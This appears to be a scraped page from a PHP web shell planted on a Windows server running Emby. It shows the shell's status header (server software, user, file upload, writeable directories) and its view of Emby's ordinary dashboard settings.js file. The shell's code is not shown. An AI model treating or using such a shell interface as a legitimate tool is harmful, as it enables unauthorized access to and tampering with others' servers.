KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT SERVER-PC 10.0 build 26200 (Windows 11) AMD64
User : ServerPC ( 0)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  C:/Users/ServerPC/AppData/Roaming/Emby-Server/system/dashboard-ui/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : C:/Users/ServerPC/AppData/Roaming/Emby-Server/system/dashboard-ui/dashboard/settings.js
define(["exports","./../modules/viewmanager/basesettingsview.js","./../modules/emby-elements/emby-select/emby-select.js","./../modules/emby-elements/emby-input/emby-input.js","./../modules/emby-elements/emby-button/emby-button.js","./../modules/emby-elements/emby-textarea/emby-textarea.js","./../modules/emby-elements/emby-toggle/emby-toggle.js","./../modules/loading/loading.js","./../modules/common/globalize.js","./../modules/common/servicelocator.js","./../modules/common/responsehelper.js"],function(_exports,_basesettingsview,_embySelect,_embyInput,_embyButton,_embyTextarea,_embyToggle,_loading,_globalize,_servicelocator,_responsehelper){Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.default=void 0;var currentBrandingOptions,currentLanguage,brandingConfigKey="branding";function loadPage(page,config,languageOptions,systemInfo){systemInfo.OperatingSystem.toLowerCase().includes("windows")?page.querySelector(".windowsStartupDescription").classList.remove("hide"):page.querySelector(".windowsStartupDescription").classList.add("hide"),systemInfo.SupportsAutoRunAtStartup?page.querySelector(".fldRunAtStartup").classList.remove("hide"):page.querySelector(".fldRunAtStartup").classList.add("hide"),systemInfo.CanLaunchWebBrowser?page.querySelector(".fldRunWebAppAtStartup").classList.remove("hide"):page.querySelector(".fldRunWebAppAtStartup").classList.add("hide"),page.querySelector(".txtCachePath").value=config.CachePath||"";var selectLocalizationLanguage=page.querySelector(".selectLocalizationLanguage"),languageOptions=(selectLocalizationLanguage.innerHTML=languageOptions.map(function(l){return'<option value="'+l.Value+'">'+l.Name+"</option>"}),selectLocalizationLanguage.value=currentLanguage=config.UICulture,page.querySelector(".chkRunAtStartup").checked=config.RunAtStartup,page.querySelector(".chkRunWebAppAtStartup").checked=config.AutoRunWebApp||!1,systemInfo.CanSelfUpdate?(page.querySelector(".fldAutomaticUpdates").classList.remove("hide"),page.querySelector(".autoRestartLabel").innerHTML=_globalize.default.translate("LabelAllowServerAutoRestartServerOrPlugin")):(page.querySelector(".fldAutomaticUpdates").classList.add("hide"),page.querySelector(".autoRestartLabel").innerHTML=_globalize.default.translate("LabelAllowServerAutoRestartPlugin")),page.querySelector(".chkEnableAutomaticServerUpdates").checked=config.EnableAutoUpdate,page.querySelector(".chkMaintenanceMode"));languageOptions.checked=config.IsInMaintenanceMode||!1,page.querySelector(".txtMaintenanceModeMessage").value=config.MaintenanceModeMessage||"",page.querySelector(".chkEnableAutomaticRestart").checked=config.EnableAutomaticRestart,systemInfo.CanSelfRestart?page.querySelector(".fldEnableAutomaticRestart").classList.remove("hide"):page.querySelector(".fldEnableAutomaticRestart").classList.add("hide"),systemInfo.CanSelfRestart||systemInfo.CanSelfUpdate?page.querySelector(".autoUpdatesContainer").classList.remove("hide"):page.querySelector(".autoUpdatesContainer").classList.add("hide"),languageOptions.dispatchEvent(new CustomEvent("change",{bubbles:!0})),_loading.default.hide()}function onMaintenanceModeChange(e){e=e.target;e.checked?e.closest("form").querySelector(".fldMaintenanceModeMessage").classList.remove("hide"):e.closest("form").querySelector(".fldMaintenanceModeMessage").classList.add("hide")}function View(view,params){_basesettingsview.default.apply(this,arguments),view.querySelector(".btnSelectCachePath").addEventListener("click",function(){Emby.importModule("./modules/directorybrowser/directorybrowser.js").then(function(directoryBrowser){var picker=new directoryBrowser;picker.show({callback:function(path){path&&(view.querySelector(".txtCachePath").value=path),picker.close()},validateWriteable:!0,header:_globalize.default.translate("HeaderSelectServerCachePath"),instruction:_globalize.default.translate("HeaderSelectServerCachePathHelp")})})}),view.querySelector(".dashboardGeneralForm").addEventListener("submit",function(e){_loading.default.show();var apiClient=this.getApiClient(),form=e.target;return apiClient.getServerConfiguration().then(function(config){config.UICulture=form.querySelector(".selectLocalizationLanguage").value,config.CachePath=form.querySelector(".txtCachePath").value;var requiresReload=!1;config.UICulture!==currentLanguage&&(requiresReload=!0),config.RunAtStartup=form.querySelector(".chkRunAtStartup").checked,config.AutoRunWebApp=form.querySelector(".chkRunWebAppAtStartup").checked,config.EnableAutomaticRestart=form.querySelector(".chkEnableAutomaticRestart").checked,config.EnableAutoUpdate=form.querySelector(".chkEnableAutomaticServerUpdates").checked,config.IsInMaintenanceMode=form.querySelector(".chkMaintenanceMode").checked,config.MaintenanceModeMessage=form.querySelector(".txtMaintenanceModeMessage").value||null,apiClient.updateServerConfiguration(config).then(function(){apiClient.getNamedConfiguration(brandingConfigKey).then(function(brandingConfig){brandingConfig.LoginDisclaimer=form.querySelector(".txtLoginDisclaimer").value,brandingConfig.CustomCss=form.querySelector(".txtCustomCss").value,currentBrandingOptions&&brandingConfig.CustomCss!==currentBrandingOptions.CustomCss&&(requiresReload=!0),apiClient.updateNamedConfiguration(brandingConfigKey,brandingConfig).then(function(){_responsehelper.default.handleConfigurationSavedResponse(),requiresReload&&!_servicelocator.appHost.supports("multiserver")&&window.location.reload(!0)})})})}),e.preventDefault(),e.stopPropagation(),!1}.bind(this)),view.querySelector(".chkMaintenanceMode").addEventListener("change",onMaintenanceModeChange)}Object.assign(View.prototype,_basesettingsview.default.prototype),View.prototype.loadSettingsInternal=function(){var apiClient=this.getApiClient(),view=this.view,promise1=(apiClient.isMinServerVersion("4.9.1.18")?view.querySelector(".sectionMaintenanceMode").classList.remove("hide"):view.querySelector(".sectionMaintenanceMode").classList.add("hide"),apiClient.getServerConfiguration()),promise2=apiClient.getJSON(apiClient.getUrl("Localization/Options")),promise3=apiClient.getSystemInfo();return Promise.all([promise1,promise2,promise3]).then(function(responses){return loadPage(view,responses[0],responses[1],responses[2]),apiClient.getNamedConfiguration(brandingConfigKey).then(function(config){currentBrandingOptions=config,view.querySelector(".txtLoginDisclaimer").value=config.LoginDisclaimer||"",view.querySelector(".txtCustomCss").value=config.CustomCss||""})})};_exports.default=View});

Anon7 - 2021